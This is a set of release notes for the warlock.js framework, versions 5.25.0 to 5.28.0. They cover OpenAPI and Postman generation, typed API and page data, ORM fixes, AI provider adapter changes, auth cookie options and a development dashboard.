    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-toolsChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-workspaceChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-xaiChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/authChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/cacheChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/cascadeChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/contextChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/fsChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/heraldChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/loggerChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/notificationsChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/queueChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/schedulerChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/sealChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    create-warlockChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    5.28.0
    October 1, 2026

    Postman collections, Swagger UI, and fixes from production use. warlock generate.postman writes a Postman Collection v2.1.0 from the same OpenAPI document as generate.openapi (tag folders, example bodies, saved responses, {{baseUrl}}/{{token}}, bearer auth on guarded routes), and @warlock.js/devtools adds Swagger UI beside Scalar at /__warlock/docs/swagger with OpenAPI and Postman downloads. The web skills were audited against the code and expanded (page metadata, cookies, images, testing pages, hydration debugging), and every package's llms.txt now lists each skill with its description. Fixed: replacing or unsetting a nested object in Cascade no longer leaves empty parent objects; expected 4xx errors log one warn line instead of an error-level stack; v.object() output follows the declared key order; the per-site sitemap is served as application/xml; an empty nested-resource list outputs []. Behaviour changes: set("field", obj) writes the nested object as one value; 4xx errors log at warn.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 1Fixed 2
    • Addedwarlock generate.postman writes a Postman Collection v2.1.0 (storage/postman/collection.json, or --out) derived from the same OpenAPI document as generate.openapi (options: --title, --server, --include-pages), so the two can never disagree. Each tag is a folder, each operation a request with an example body generated from its schema (JSON as raw, multipart as form-data), saved responses for every declared status, {{baseUrl}} and {{token}} collection variables, collection-level bearer auth for authMiddleware() routes and noauth on public ones. openApiToPostmanCollection(document, options?) is exported (pure, deterministic _postman_id), and getDevelopmentPostmanCollection() returns the collection for the running dev process.
    • FixedExpected client errors no longer fill logs with stack traces: a thrown error that resolves to a 4xx (an HttpError such as ConflictError or ResourceNotFoundError, or a DatabaseWriterValidationError configured below 500 via http.modelValidationErrorStatus) is logged once at warn as Name: message (status), without the stack. 5xx and unknown errors are logged at error with the stack, as before.
    • FixedA nested-resource field whose input is an empty list now outputs []; it used to drop the key. null/undefined still omit it.
    @warlock.js/devtoolsAdded 3
    • AddedSwagger UI. /__warlock/docs/swagger renders the same OpenAPI document with Swagger UI (Apache-2.0), and the dashboard's API tab has a Scalar | Swagger UI switch (Scalar stays the default; the choice is remembered in the browser). The prebuilt swagger-ui-dist 5.33.0 bundle and stylesheet are vendored in ui/vendor/swagger-ui/ with their license and notice and served as assets/swagger-ui-bundle.js and assets/swagger-ui.css, so apps install no extra dependencies. The schema validator badge is off, so the page makes no outside request.
    • AddedDownloads in the API tab. OpenAPI JSON (/__warlock/api/openapi.json) and Postman collection links.
    • AddedGET /__warlock/api/postman.json returns the Postman collection for the registered routes, built by core's getDevelopmentPostmanCollection(). It answers 503 when the host's core cannot build one, with the same dev-only, loopback-only guard.
    @warlock.js/cascadeFixed 2
    • FixedReplacing a nested object on MongoDB (model.set("nested", obj).save()) now writes the whole new object with one $set, instead of diffing per leaf. Removing keys no longer leaves their parents behind as empty {} objects in the stored document. Dotted-path sets (set("nested.a", v)) and merge() stay partial per-leaf updates, so concurrent writes to other keys still survive. SQL drivers already replace the whole JSON column and are unchanged.
    • Fixedunset("nested.x") now removes the parents it empties (unset("a.b.c") on { a: { b: { c: 1 } } } stores no a), and the update $unsets that parent rather than leaving {}. A parent is pruned only when that unset emptied it: an object stored or set as {} is left alone, and arrays are never pruned. unset("nested") removes the whole object.
    @warlock.js/webFixed 1
    • FixedMulti-site apps: the per-site sitemap is served as application/xml; it was text/plain (the handler set the XML header, then response.text() overwrote it).
    create-warlockFixed 2
    • FixedNew apps: a failed AI-skills sync during install now prints a warning with the fix (the skills:sync script) instead of a silent skills-sync-skipped.
    • FixedNew apps: AGENTS.md describes the app as full-stack (APIs plus src/web/** pages) and points agents to the warlock-js-web skill.
    @warlock.js/accessChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-deepseekChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-groqChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-liveChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-mistralChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-panopticChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-toolsChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-workspaceChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/ai-xaiChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/authChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/cacheChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/contextChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/fsChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/heraldChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/loggerChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/notificationsChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/queueChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/schedulerChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    @warlock.js/sealFixed 1
    • Fixedv.object() now emits its validated output (and reports child errors) in declared schema order instead of the order async field validators happened to finish, so output key order is deterministic; unknown keys kept by allowUnknown() follow the declared keys in input order.
    @warlock.js/sitemapChanged 1
    • Changedllms.txt now lists every skill topic with its description (frontmatter in CRLF files was skipped).
    5.27.0
    October 1, 2026

    Typed API responses, typed page data, OpenAPI, and reasoning with tools on GPT-6. Controllers declare responseSchema and the generated route types carry it: ApiResponse<"auth.login"> and useSubmitForm({ route }) know the response body, and undeclared routes stay unknown. defineResource() infers its output type, Serialized<T> describes what the client receives, and page loader data is typed as what actually reaches the page (models map to their resource automatically). Pages guarded by requireUser() get a non-null user in their loader and in useUser("route.name"). warlock generate.openapi writes an OpenAPI 3.1 file for Postman and Insomnia, and warlock dev adds interactive API docs at /__warlock/docs. @warlock.js/ai-openai adds the opt-in Responses API (api: "responses") so reasoning models can use tools with reasoning on, including streaming and reasoning carried across tool turns. Fixed: a promise nested in page loader data is now serialized after it settles (a model inside one made devalue throw). Behaviour changes: page data types are the serialized shape; @mongez/supportive-is 3.0 checkers are type predicates.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 10Changed 1
    • AddedTyped resource output. defineResource() infers the toJSON() output type from the schema's cast strings ("string?" is string | null, "date" is the default { iso; format; timestamp; humanTime } object, nested and "self" resources resolve to their own output). Read it with ResourceOutput<typeof UserResource>. When transform/boot/builders change the shape, state it: defineResource<ProductJson>({ ... }). Builder fields are unknown.
    • AddedSerialized<T, W>: the type of what the client receives after Warlock serializes T, for API responses ("json", default) and page loader data ("devalue"). Dates become strings on JSON, toJSON() results are used, functions are dropped, and models map to their resource through the augmentable ModelResourceRegistry.
    • AddedTyped API responses from handler.responseSchema. A response schema body now accepts cast strings with the resource suffixes ("number?", "string[]", "date[]?"), a resource, [resource] for an array, and nested plain objects. ResponseBodyOutput<B> and ResponseSchemaOutput<S> give the body type per status code with the same rules as ResourceOutput. warlock generate.typings and warlock dev read the declared schema at runtime and hand each route's response types to the web route-types generator, so nothing is annotated by hand.
    • AddedNamedApiRoute has an optional response map (status code to a TypeScript type expression), present only on routes that declare responseSchema; router.getNamedApiRoutes() accepts a resolveResponse option to attach it and still returns the plain { name, path, method } records otherwise. Resources are mapped back to their *.resource.ts(x) export by identity; a resource defined inline or outside such a file is typed unknown with a warning naming the route and field. The typings child and the dev server share one serializer, so both emit identical strings.
    • AddedresponseSchema is now kept when a route is bound from an array handler ([controller, "action"]) or a restful resource method; the bound function used to lose it.
    • Addedwarlock generate.openapi writes an OpenAPI 3.1 document (storage/openapi/openapi.json, or --out) derived from the registered routes. Options: --title, --server, --include-pages. Paths use {param} templates and all routes expand to every verb; validation.schema becomes the request body (POST/PUT/PATCH) or query parameters (GET/HEAD/DELETE) according to validating, and validation.params becomes typed path parameters. Responses come from handler.responseSchema (casts, "?" as type: [T, "null"], resources as components.schemas $refs named after their export, [Resource] as an array); a route with no schema documents only a 200 description. A 422 (shaped by validation.response) is added when a route has validation.schema, and a 401 when it is guarded. Fields that cannot be described statically (field builders, resolver functions) are documented as {} and listed as warnings; the command exits non-zero only when the app cannot be loaded.
    • AddedSecurity schemes from authMiddleware. Core reads the Symbol.for("warlock.auth") descriptor ({ sources: ("header" | { cookie: string })[], userTypes: string[] }) that authMiddleware() attaches and emits bearerAuth / cookieAuth schemes only for the ones a route uses (header plus cookie is an OR). Middleware without a descriptor is ordinary middleware and produces no security entry.
    • AddedbuildOpenApiDocument(routes, context) is exported: a pure function from router.list() routes to a plain-JSON OpenAPI document plus a warnings list, so a dev tool can build the same document in-process. The CLI builds it inside the route-registration child process, so Seal instances never cross IPC; that child's fork, IPC and timeout handling is now a shared helper with no change to warlock build (WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MS applies to both).
    • AddedgetDevelopmentOpenApiDocument() returns the same document for the routes registered in the running dev process (warlock dev registers the builder at startup; outside it the call throws), reusing the CLI child's builder (resource export map, package.json info, http server, validation.response). @warlock.js/devtools calls it to serve its API docs page at /__warlock/docs; warnings are logged once per process.
    • AddedModels resolve to their resource in Serialized. warlock generate.typings and warlock dev now write .warlock/typings/model-resources.d.ts, a ModelResourceRegistry augmentation with one entry per model class that declares static resource = <Identifier>, so Serialized<User> is the resource output instead of the raw model data. The identifier is followed through the model file's own imports (named, aliased, default, tsconfig aliases) or its own declarations, by reading the source only; a computed expression, lazy(...), a generic or unexported model is left out and keeps the raw-data type. Duplicate class names get _2, _3 keys, output is sorted, and the file is rewritten only when it changes. The app's tsconfig.json must include .warlock/typings/*.d.ts (the scaffold already does).
    • ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
    @warlock.js/webAdded 4Fixed 1
    • AddedTyped API responses. Each generated ApiRouteRegistry entry now carries response: { 200: ...; 400: ... } when the route's handler declares responseSchema (the generator accepts an optional response on the route snapshot and emits it verbatim). New public types ApiResponse<Name, Status = 200> (the declared body, or unknown when the route or status is undeclared, never any), ApiResponses<Name> (the whole status map) and ApiSuccessResponse<Name> (the union of declared 2xx bodies). useSubmitForm({ route: "auth.login" }) now types data, response and onSuccess from the route's declared 2xx body; path targets and explicit useSubmitForm<Schema, Data> calls are unchanged, and apps with no responseSchema generate a byte-identical file.
    • AddedPage, layout, app and metadata data is now typed as what actually reaches the page: Serialized<LoaderReturn, "devalue"> from @warlock.js/core, not the loader's raw return. A cascade model registered in ModelResourceRegistry reads as its resource output, Date/Map/Set/RegExp/URL stay native, function keys are dropped, and a class instance without toJSON reads as never (devalue would throw at render). Deferred defer() keys stay promises whose settled value is serialized. Plain JSON-ish data is unchanged; the loader's own declared return type is untouched.
    • AddedGuarded pages are typed as signed-in. The generator now reads whether a page is guarded by requireUser() (imported from "@warlock.js/web/session", aliased imports included) as a direct element of a literal config.middleware array on the page, any layout on its chain, or the root, and emits guard: "user" on that PageRouteRegistry entry (nothing is emitted for an unguarded page, so existing generated files are byte-identical; spreads, identifiers, conditionals, wrapper calls, requireGuest() and config.action.middleware do not count, and the not-found page is never guarded). A new GuardedPageRouteName type lists those names. For a guarded page, PageLoaderContext<Validation, typeof route> (and PageLoader) now type session as non-optional { user, model } with neither field null and request.locals.user as non-null; the route name is read from typeof route or passed as a third type argument (PageLoaderContext<undefined, undefined, "account.show">). Unguarded pages, layout and app loaders, and page actions are unchanged. The dev route-type writer now keeps guard and actions instead of dropping them on a rewrite.
    • AddeduseUser("account.show"): pass a guarded page's route name to get a non-null SessionUser (any other name fails to compile). The name also opts the component in to keeping the last signed-in user while it stays mounted, so a sign-out that flips the store to a guest a frame before navigation completes no longer hands null to a component that reads user.name. Plain useUser() is unchanged and still returns null for a guest.
    • FixedPage data: a promise nested in a loader's data (not a defer() key) is awaited and its settled value is now serialized too, so a model or resource resolved from a promise reaches the page as its toJSON() output instead of making devalue throw.
    @warlock.js/ai-openaiAdded 3
    • AddedResponses API (opt-in). sdk.model({ name, api: "responses" }) routes an OpenAI model through /v1/responses, so a reasoning model (gpt-5 family, o-series, gpt-6) can use function tools with reasoning on. Chat Completions stays the default and is unchanged. Under api: "responses" reasoning uses the provider default even when tools are attached (more reasoning tokens and latency than the Chat path, which forces reasoning off with tools); the system prompt is sent as instructions; requests use store: false; pdf/audio inputs are off. Only the openai provider accepts it: the DeepSeek, Groq, xAI and Mistral adapters reject api: "responses".
    • AddedResponses streaming. stream() works under api: "responses" and yields the same chunks as the Chat path: text deltas (refusal text included), then the tool calls, then one done with the finish reason and usage. A response.failed or error event mid-stream throws the same typed error as a failed request.
    • AddedReasoning replay across tool turns. Every Responses request asks for include: ["reasoning.encrypted_content"]. The reasoning items of a tool-calling turn are saved on the first tool call (providerMetadata.openaiResponses = { model, reasoningItems }) and sent back before that turn's function calls on the next request, so the model keeps its own reasoning while it works through tools, with nothing stored on OpenAI's side. Replay is skipped when the model changed, and turns without a tool call are not replayed. The encrypted reasoning items are stored with the conversation history (memory or session store), so expect larger stored messages; there is no size cap. The Chat path and the other adapters ignore the key.
    @warlock.js/devtoolsAdded 2
    • AddedAPI docs page. /__warlock/docs renders the app's OpenAPI 3.1 document with Scalar, and the dashboard has a new API tab that shows it. The document comes from GET /__warlock/api/openapi.json, built in-process by core's buildDevelopmentOpenApiDocument() from the routes already registered (the same generator as warlock generate.openapi); it answers 503 when the host provides none. Everything stays behind the existing dev-only, loopback-only guard.
    • AddedThe API docs page uses Scalar (MIT). Its prebuilt browser bundle (1.72.2) is vendored in ui/vendor/scalar/ and served as assets/scalar.js, so apps install no extra dependencies. Nothing is fetched from a CDN, and the page turns off Scalar's web fonts, telemetry, AI agent and MCP so it makes no outside request.
    @warlock.js/authAdded 1
    • AddedauthMiddleware() now tags the middleware it returns with a non-enumerable, frozen, JSON-safe descriptor under Symbol.for("warlock.auth") ({ sources, userTypes }), exported as AUTH_MIDDLEWARE_DESCRIPTOR / AuthMiddlewareDescriptor, so other tooling can read a route's resolved credential sources and allowed user types without changing runtime behavior.
    @warlock.js/cascadeChanged 1
    • ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
    @warlock.js/sealChanged 1
    • ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
    create-warlockChanged 1
    • ChangedGenerated apps depend on @mongez/supportive-is ^3.0.0 (type-predicate checkers).
    5.26.0
    September 30, 2026

    Security upgrades, module locales.json, typed URLs, and loaders that return resources. Fastify and its plugins move up a major for security fixes (only router.directory() setHeaders callers change code: use reply.header()). Modules register translations from utils/locales.json; warlock doctor --fix converts legacy locales.ts, which is deprecated for v6. Route params validate with validation.params (v.int() turns :id into a number). href(), navigateTo() and the new apiHref() take { name, params, query }. Page and layout loaders can return resources, serialized like response bodies. whereTrusted() allows code-authored Mongo operators, auth cookies can be scoped per request with cookieDomain(request), and the AI adapters gain wider reasoning-effort levels, prompt caching controls and correct parameters for current Claude and OpenAI reasoning models. Behaviour changes: IPv6 rate limits group by /64, package migrations run before app migrations, navigateTo() hard-navigates before hydration, and request.user and RequestUserMovedError are removed (use request.locals.user). t(), request.t() and request.trans() are typed as string.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 5Changed 3Fixed 5Removed 1
    • Addedhttp.rateLimit.ipv6Subnet sets the IPv6 prefix length the global rate limiter groups clients by (default 64).
    • AddedModule src/app/<module>/utils/locales.json dictionaries register translations with the module folder as their default group; root $group overrides it. Dictionaries strictly validate their JSON and translation shape, and reject duplicate key ownership. utils/locales.ts still works but is deprecated and will be removed in v6 (its warning ships separately).
    • AddedparseLocaleDictionary() is public for tooling that needs to validate and flatten a module locale dictionary without loading application code.
    • Addedvalidation.params validates route parameters with a Seal object schema. Number and boolean validators coerce the string segments, the parsed values replace request.params, and they merge into the validated data (params win over body keys). Failures answer like a body-schema failure. Routes without params still see raw strings.
    • Addedwarlock doctor warns about each legacy utils/locales.ts file, and warlock doctor --fix converts the safe ones (a single groupedTranslations call with a literal object) to locales.json. It checks the JSON flattens to the same keys before deleting the .ts file. Anything else is reported as a manual migration with the reason. Comments in the converted file are not kept.
    • ChangedDevelopment now warns once when it auto-loads legacy module utils/locales.ts files, and warlock add access now writes its access translation to src/app/access/utils/locales.json.
    • ChangedBehaviour change: rate limits group IPv6 clients by their /64 network, and IPv4-mapped addresses (::ffff:1.2.3.4) count as the IPv4 address. This applies to the global limiter and to the per-route rateLimit() middleware. Before, a client could rotate through addresses in its own /64 to get a fresh bucket each time. Users behind one IPv6 /64, such as one home or office, now share a bucket.
    • Changedresponse.clearCookie() now also sends Max-Age=0 alongside the past Expires date.
    • Fixedwarlock generate.typings honours build.routeRegistrationTimeoutMs / WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MS, like warlock build. It always used 30 seconds, so generate.typings && tsc && warlock build could fail on a loaded machine even with a longer timeout configured.
    • Fixedrequest.t(), request.trans() and t() are typed as returning string (they were any), so title: request.t("...") type-checks without a String(...) wrapper.
    • Fixedwarlock migrate runs package migrations (such as @warlock.js/auth's token tables) before your app's migrations, whatever their dates. On a fresh database, an app migration that alters a package table used to run before the table existed. The order inside each group is unchanged.
    • FixedstartHttpTestServer({ web: false }) now starts an API-only test server: it skips the optional web connector before its lazy lifecycle delegate constructs WebConnector or creates Vite. Omitting the option preserves the existing full-stack startup.
    • Fixedresponse.cookie() truncates a fractional maxAge to whole seconds. @fastify/cookie 11 rejects a non-whole maxAge, so a computed value such as ttl / 1000 used to fail the response.
    • RemovedBREAKING (only if something still reads request.user): the request.user getter and RequestUserMovedError, the development-time diagnostic kept since the 5.12.0 move. The user lives at request.locals.user (set by @warlock.js/auth); TypeScript now reports any remaining request.user.
    @warlock.js/webAdded 1Changed 1Fixed 3
    • Addedhref(name, { params, query }) now supports an object form alongside its positional arguments; navigateTo({ name, params, query }) and new apiHref(name, { params, query }) keep generated page/API route names and required path params type-safe while using the shared query-string grammar. Object form is reserved for objects containing only object-shaped params/query options, so route params literally named params or query remain positional.
    • ChangedBehaviour change: in a browser with no client runtime connected (before hydration), navigateTo() now starts a real browser navigation (location.assign, or location.replace with replace: true) and returns true. It used to return false and do nothing, so apps wrote that fallback by hand. On the server it still returns false.
    • FixedPage and layout loaders can now return resources and other class instances with toJSON(); their JSON representation is used safely in hydration and deferred page-data payloads.
    • FixedInitial client hydration now seeds useUser() from the session payload before React's first render, preventing signed-in server markup from mismatching the client.
    • FixedProduction /assets/* responses set Vary: Accept-Encoding through the Fastify reply. With @fastify/static 10, the old callback threw on every asset request, so production pages loaded without their scripts and styles.
    @warlock.js/aiChanged 1
    • ChangedReasoningEffort now accepts "none" | "minimal" | "low" | "medium" | "high" | "xhigh" | "max". Adapters clamp unsupported values to their nearest supported provider level rather than rejecting a request.
    @warlock.js/ai-anthropicAdded 2Fixed 6
    • AddedthinkingMode: "adaptive" | "budget" on anthropic.model({ ... }) overrides the thinking shape inferred from the model name. Use it for gateway model ids that don't follow Anthropic's naming, or to move Opus/Sonnet 4.6 onto adaptive thinking. It also decides whether temperature is sent. The AnthropicThinkingMode type is exported.
    • AddedpromptCaching: true now enables Anthropic's request-level automatic cache placement when a call has no explicit cache breakpoint, so the longest reusable prefix is cached. promptCacheTtl?: "5m" | "1h" controls the TTL for automatic and explicit cache markers; omission keeps Anthropic's five-minute default.
    • FixedAdaptive Claude reasoning now maps minimal to output_config.effort: "low" and supports xhigh and max; budget-mode models map them to 1,024, 24,000, and 32,000 thinking tokens respectively.
    • FixedClaude reasoning-token usage is now included in responses when the API reports it, including streamed responses.
    • FixedResponses stopped because the model context window was exceeded now report a length finish reason.
    • FixedBehaviour change: Reasoning now works on current Claude models. Claude Opus 4.7, 4.8, 5 and 5.5, Sonnet 5 and 5.5, Fable 5 and 5.1, and any model id the adapter does not recognise now get thinking: { type: "adaptive" } with output_config.effort (low, medium or high, taken from reasoning.effort; medium when only reasoning.maxTokens is given). Before, every model got budget_tokens, which these models reject with a 400. Claude Haiku 4.5, Opus 4.6, Sonnet 4.6 and older models keep the budget_tokens shape. The default max_tokens is unchanged in both modes.
    • FixedBehaviour change: temperature is no longer sent to models released after Claude Opus 4.6 (the same adaptive-thinking models listed above), because they reject any value other than the default with a 400. Haiku 4.5, the 4.6 models and older models still receive it.
    • FixedBehaviour change: Claude 5-series models (claude-opus-5*, claude-sonnet-5*, claude-fable-5*, claude-mythos-5*) are now recognised as vision-capable, so image attachments are no longer rejected for them.
    @warlock.js/ai-openaiChanged 5Fixed 1
    • Changedreasoning.effort now accepts every OpenAI SDK 7.23.0 reasoning_effort level: none, minimal, low, medium, high, xhigh, and max.
    • ChangedOpenAI-labelled Chat Completions models now support explicit prompt caching: promptCacheKey, promptCacheRetention, and cacheControl.breakpoints map to the OpenAI SDK's request fields. These fields are deliberately omitted for OpenAI-compatible wrapper providers.
    • ChangedCapability inference now recognizes the GPT-6 family as reasoning- and vision-capable, plus GPT-5 and o4 as vision-capable.
    • ChangedBehaviour change: requests send max_completion_tokens and never the legacy max_tokens, which current OpenAI models (the gpt-5 family and later) reject with 400 unsupported_parameter. maxTokens in config and call options is unchanged.
    • ChangedReasoning-capable models (o-series, gpt-5 family) no longer receive temperature; they accept only the default value and reject any other.
    • FixedA provider error now keeps the parameter OpenAI rejected (context.param) and the request id (context.requestId, read from the SDK's requestID), next to the status and code.
    @warlock.js/cascadeAdded 2Fixed 2
    • AddedwhereTrusted(conditions) on the query builder contract applies a code-authored filter without the unsafe-operator check, so MongoDB operators such as $in and $lt pass through. Never pass request input to it. The PostgreSQL builder throws UnsupportedQueryOperationError for operator objects, because its where() parser would otherwise bind them as plain values. Custom query builders must implement the new method.
    • AddedMigrations can be registered with an origin ("package" or "app"). Package migrations run before every app migration while preserving the existing order, createdAt, and name sort within each partition. Direct register() calls default to "app".
    • FixedMigrations now reject colliding unnamed index definitions before sending DDL to MongoDB or PostgreSQL, with guidance to provide an explicit index name. Declarative alter migrations with a custom up() but no down() now emit one rollback warning.
    • FixedtrustedFilter: true now works on atomic(), findOneAndUpdate() and findAndUpdate() with an operator filter such as { id: { $in: ids } }. The scoped-write lookup re-ran the filter through where(), which rejected the operator, so these calls threw UnsafeFilterError even when the filter was trusted. Global scopes (tenant, soft delete) still apply to the write. findAndUpdate() now accepts trustedFilter.
    @warlock.js/ai-bedrockChanged 1
    • ChangedMap all neutral reasoning effort levels to valid Bedrock extended-thinking budgets.
    @warlock.js/ai-googleChanged 1
    • ChangedClamp all neutral reasoning effort levels to Gemini thinking budgets, preserving the adapter's 24,576-token supported ceiling.
    @warlock.js/ai-ollamaChanged 1
    • ChangedClamp neutral reasoning effort levels to Ollama's supported think literals.
    @warlock.js/authAdded 1
    • AddedCookie sessions now support auth.cookie.cookieDomain(request) and pageSession/sessionMiddleware's cookieDomain(request) override. Returning a Domain scopes issued and renewed cookies to it; returning undefined preserves host-only cookies. Clearing a Domain-scoped session also clears the legacy host-only cookie names. When configured, pass request to setSessionCookies(response, tokens, request), clearSessionCookies(response, request), and clearAuthCookie(response, options, request); omitting it throws CookieDomainRequestRequiredError rather than issuing or clearing a host-only cookie.
    @warlock.js/devtoolsChanged 1
    • ChangedDependencies: fastify ^5.12.5 (security fixes).
    @warlock.js/queueChanged 1
    • ChangedDependencies: fastify ^5.12.5 (security fixes). @bull-board/* ^9.10.2.
    create-warlockFixed 1
    • FixedThe generated src/config/app.ts falls back to Warlock as the app name when APP_NAME is unset (it said Mongez). New apps still get their project name in .env.
    5.25.0
    September 29, 2026

    Devtools, deploy in parts, and the first release built on GitHub Actions. The new @warlock.js/devtools adds a development dashboard at /__warlock: each request's phases, SQL and MongoDB queries with EXPLAIN, cache and log activity, captured mails and N+1 warnings. Add it with warlock add devtools; warlock dev loads it automatically and production never mounts it. warlock start --role=api|web|worker and --sites=a,b run one build as separate processes. Pages get per-locale alternates metadata and the matched route in loaders and actions; setupTest({ importModule }) loads app modules through Vitest's module graph. Behaviour changes: model-write validation failures answer 500 by default (configurable with http.modelValidationErrorStatus), and blank form values count as missing for non-string validators. Fixes include MongoDB upserts assigning auto ids, a clear UnsupportedLockForUpdateError on MongoDB, nullable objects in seal, warlock seed and migrate skipping test files, and plugin routes keeping their params in dev.

    Full release notes or run npx warlock release-notes.

    @warlock.js/devtoolsAdded 1
    • AddedNew package. A development-only dashboard served at /__warlock: request timeline, queries with EXPLAIN, N+1 detection, dev mailbox, logs, cache operations and the route map. It refuses to run outside development and answers only loopback clients.
    @warlock.js/coreAdded 4Changed 1Fixed 9
    • AddedregisterTracingHooks() lets development tools subscribe to HTTP tracing at runtime, and phase tracing now includes each phase's startedAt timestamp.
    • AddedmailEvents.onCaptured() (mail.captured): every mail sent in development or test mode is delivered in full (html, text, headers, attachments) to listeners. Development mode still logs instead of sending. CapturedMail gains id.
    • AddedDevtools: warlock add devtools installs @warlock.js/devtools as a dev dependency, and warlock dev loads it automatically when it is installed. You never name it in warlock.config.ts, so production installs, which omit dev dependencies, have nothing to resolve. warlock add now pins @warlock.js/* dev dependencies to the installed framework version too.
    • AddedDeploy in parts: warlock start --role=api|web|worker (combinable, e.g. --role=web,api) runs one build as separate processes, and --sites=a,b limits a web process to those sites. - Roles are file-based. routes.ts is api, pages are web, and the new per-module worker.ts is worker. main.ts loads for every role. - A process with neither api nor web binds no HTTP port and reports worker ready. - Application.roles, Application.hasRole() and Application.sites expose the active set. The warlock:ready signal now carries roles. - With no --role, every role is on, so existing apps and warlock dev behave exactly as before. - Unknown roles, an empty list, or --sites without web fail before the app starts.
    • ChangedBehaviour change: model-write validation failures now return the opaque internal-error response with status 500 by default, instead of returning a 400 and validation details. Details are logged server-side. Set http.modelValidationErrorStatus to choose a different status; a 4xx status returns { errors } to the client.
    • FixedIn development, a plugin's own parametric route (such as devtools' /__warlock/api/requests/:id) keeps its params when an app catch-all route also matches the URL. The dev dispatcher used to overwrite them, so the devtools request detail answered 404.
    • Fixedwarlock seed and warlock migrate skip test files (*.spec.ts, *.test.ts, …) in seeds/ and migrations/ folders. A spec kept beside its seeder used to abort the whole seed run.
    • FixedonHttpServerRebuilt(listener) fires with the new Fastify instance when the HTTP connector restarts (before it listens), so dev connectors can re-attach instance-bound hooks.
    • Fixedwarlock generate.typings now also writes .warlock/typings/web-routes.d.ts (through the new optional build.typings connector hook, so core never imports web), so generate.typings && tsc && warlock build typechecks typed href() calls on a clean checkout. API-only apps are unchanged.
    • Fixedwarlock build route registration now has a configurable timeout and names the module still registering when it expires.
    • FixeddefineResource output id now falls back to _id on Mongo records when id is absent; an explicit id still wins. Collections with native ObjectIds should set primaryKey = "_id" on the model so Model.find(hex) works.
    • FixedsetupTest({ importModule }) lets tests load app modules (config, routes, events) through Vitest's own module graph, so classes like User exist once and instanceof works. The generated src/test-setup.ts passes (file) => import(file); setupTest() under Vitest without it warns once.
    • FixedDefault route schema validation now supplies matching declared route params when body and query omit them, without overriding body or query values.
    • FixedisPortAvailable() and assertPortIsAvailable() are exported from @warlock.js/core/tests for HTTP test setup.
    @warlock.js/webAdded 4Fixed 11
    • AddedPage tracing now reports middleware, page-cache, and deferred-settlement phases.
    • AddedDeploy in parts: a process started without the web role (warlock start --role=api|worker) installs no pages, public files or site dispatch, and --sites=a,b installs only those sites (plus shared pages). Other hosts get the normal unknown-host response. An unknown site key, or --sites on an app without web.sites, fails at boot.
